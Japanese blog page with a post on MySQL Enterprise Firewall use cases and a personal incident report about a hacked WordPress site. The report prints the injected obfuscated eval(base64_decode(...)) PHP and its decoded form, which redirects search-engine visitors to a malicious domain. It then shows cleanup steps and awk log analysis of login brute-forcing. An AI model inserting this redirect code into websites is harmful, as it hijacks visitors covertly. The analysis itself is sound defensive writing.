先日, MySQL Enterprise Auditの機能追加に関して確認したので、大きな変更は無いですが、Enterprise Firewallも再度機能確認してみました。データベースFirewallなので、XSSは防ぐ事は出来ませんが、SQL Injectionは防ぐ事が出来るのでEnterprise AuditとEnterprise Firewallの組み合わせで、重要な情報を扱うデータベースに追加する事で、セキュリティを更に強固にすることが可能です。

【利用例】

1) Webで公開しているアカウントにFirewallを設定して,外部からの入力フィルターをアプリケーションのフレームワークのEscape処理のみに依存しない。


2) 社内で利用しているアカウントにWHERE句を利用しない参照処理をさせないように制限する。(補足:MySQLでは列レベルの権限設定は可能)


3) IDSの代わりにFirewallを検知モードにしておいて、不正アクセスを検知したらEnterprise Monitorと連携してセキュリティ担当者にメールやSNMPで知らせる。

オフィシャルマニュアル
6.5.6 MySQL Enterprise Firewall

3年前のブログポスト
http://variable.jp/2015/04/13/mysql-enterprise-firewall/

Enterprise Firewallのデモ
1) Firewall OFFの状態 → 2) Firewall ONに設定

サイバーセキュリティ経営ガイドライン@経済産業省“に「指示5サイバーセキュリティリスクに対応するための仕組みの構築」に、新たに「攻撃の検知」を含めたリスク対応体制についての記載”が改定されていました。

MySQL Enterprise Firewallでブロックされる事が懸念としてある場合は、検知モードで設定する事も可能ですので検知する仕組みとして利用してみては如何でしょうか?


暫く忙しく、アップグレードもパスワード変更もしてなかったら、
いつのまにか、ヘッダーに変な文字列が埋め込まれてしまい。
訳の分からないサイトにリダイレクトされてました。

気付いたのは、いつもどおり自分のメモ代わりのこのサイトで調べ物をしようとした時に、
スマホだと問題無くアクセス出来るが、PCからGoogleで検索してサイトにアクセスすると、
変なサイトに302 Redirectされてしまいました。但し、PCから直接サイトを指定して表示すると、
問題無くアクセスする事が出来ました。

実際の動きを確認する為に、Wiresharkで状況を確認してみました。

wireshark

どうやらRedirectされている事は間違いないようでした。

ソースコードを調べてみると、wordpressにあるlocationという変数を利用して特定の条件でアクセスするとリダイレクト
されるようにしてあったようです。最初は、暗号化されていたので分かりませんでしたが、
decodeしてみると以下のようになっていました。

暗号化

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9id2FrcS5teXouaW5mby8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

複合化
refererやブラウザーで条件を指定して特定のサイトにリダイレクトするコードになっていました。

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bwakq.myz.info/");
exit();
}
}
}
}
}

DBの中身をダンプして調べましたが、特に怪しいコードはありませんでした。

とりあえず、ファイルの中身をgrepして特定の文字列を見つけてかなりのphpにコードが書かれている事を確認したので、
全てコードを入れ替えて、特定のソースに関しては、Perlでワンライナーして入れ替えました。
ワードプレスも、プラグインも最新に入れ替えてコードが無くなった事を確認したのでパスワードを変更して、
パーミッションを見直してとりあえず。OK。

仕事では無いのと単純なリダイレクトだったのでとりあえず問題ないけど、
やはり個人のサイトもきちんとメンテナンスして適切な状態にしておかないと
いけないなと感じる出来事でした。少し軽く考えてたと感じました。

少し確認しても、1つのIPから複数ブラウザーでアクセスしてきている事が確認出来ます。
IPを絞ってログを追いかければ、今後の対策が少し見えてきそうです。

$ awk '{print $1}' variable.jp_*.log | sort | uniq -c | sort -nr | head
   3524 124.44.xxx.xxx
   2412 209.85.xxx.xxx
   2157 199.15.xxx.xxx
   1997 198.200.xxx.xxx
   1813 198.200.xxx.xxx
   1740 198.2.xxx.xxx
   1668 142.4.xxx.xxx
   1578 198.200.xxx.xxx
   1458 142.4.xxx.xxx
   1448 210.172.xxx.xxx

anywhere@any-place /c/tmp
$

$ cat variable.jp_20130528.log | egrep -i "198.200.xxx.xxx" | awk '{print $12,$13,14,$15,$16,$17,$18,$19}' | sort | uniq -c | sort -nr | head
     12 "Opera/9.80 (Windows 14 6.1; WOW64; MRA 6.0 (build
      9 "Mozilla/5.0 (Windows 14 6.1) AppleWebKit/535.19 (KHTML, like Gecko)
      9 "Mozilla/5.0 (Windows 14 6.0) AppleWebKit/537.11 (KHTML, like Gecko)
      6 "Opera/9.80 (Windows 14 6.1; WOW64; Edition Yx) Presto/2.12.388
      6 "Mozilla/5.0 (Windows; 14 Windows NT 6.1; en-US) AppleWebKit/534.10
      6 "Mozilla/5.0 (Windows 14 6.1; WOW64) AppleWebKit/535.19 (KHTML, like
      6 "Mozilla/5.0 (Windows 14 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
      3 "Opera/9.80 (Windows 14 6.2; WOW64; MRA 8.0 (build
      3 "Opera/9.80 (Windows 14 6.2; U; en) Presto/2.10.289 Version/12.02"
      3 "Opera/9.80 (Windows 14 6.1; U; ru) Presto/2.10.289 Version/12.02"

anywhere@any-place /c/tmp
$


anywhere@any-place /c/tmp
$ awk '{print $7}' variable.jp_*.log  | grep 'wp-login' | sort | uniq -c | sort -nr | head
  14114 /wp-login.php
     13 /2009/wp-login.php?action=register
     12 /wp-login.php?redirect_to=http%3A%2F%2Fvariable.jp%2Fwp-admin%2F&reauth=1
     11 /wp-login.php?action=register
      8 /wp-login.php?action=lostpassword
      6 /wp-login.php?registration=disabled
      2 /wp-login.php?loggedout=true
      2 /wp-login.php/?action=register
      1 /wp-login.php?redirect_to=http://variable.jp/wp-admin/&reauth=1
      1 /wp-login.php?action=logout&_wpnonce=e1403e3394

anywhere@any-place /c/tmp
$

とりあえず、ログをダンプしたので少し確認して対策して見ます。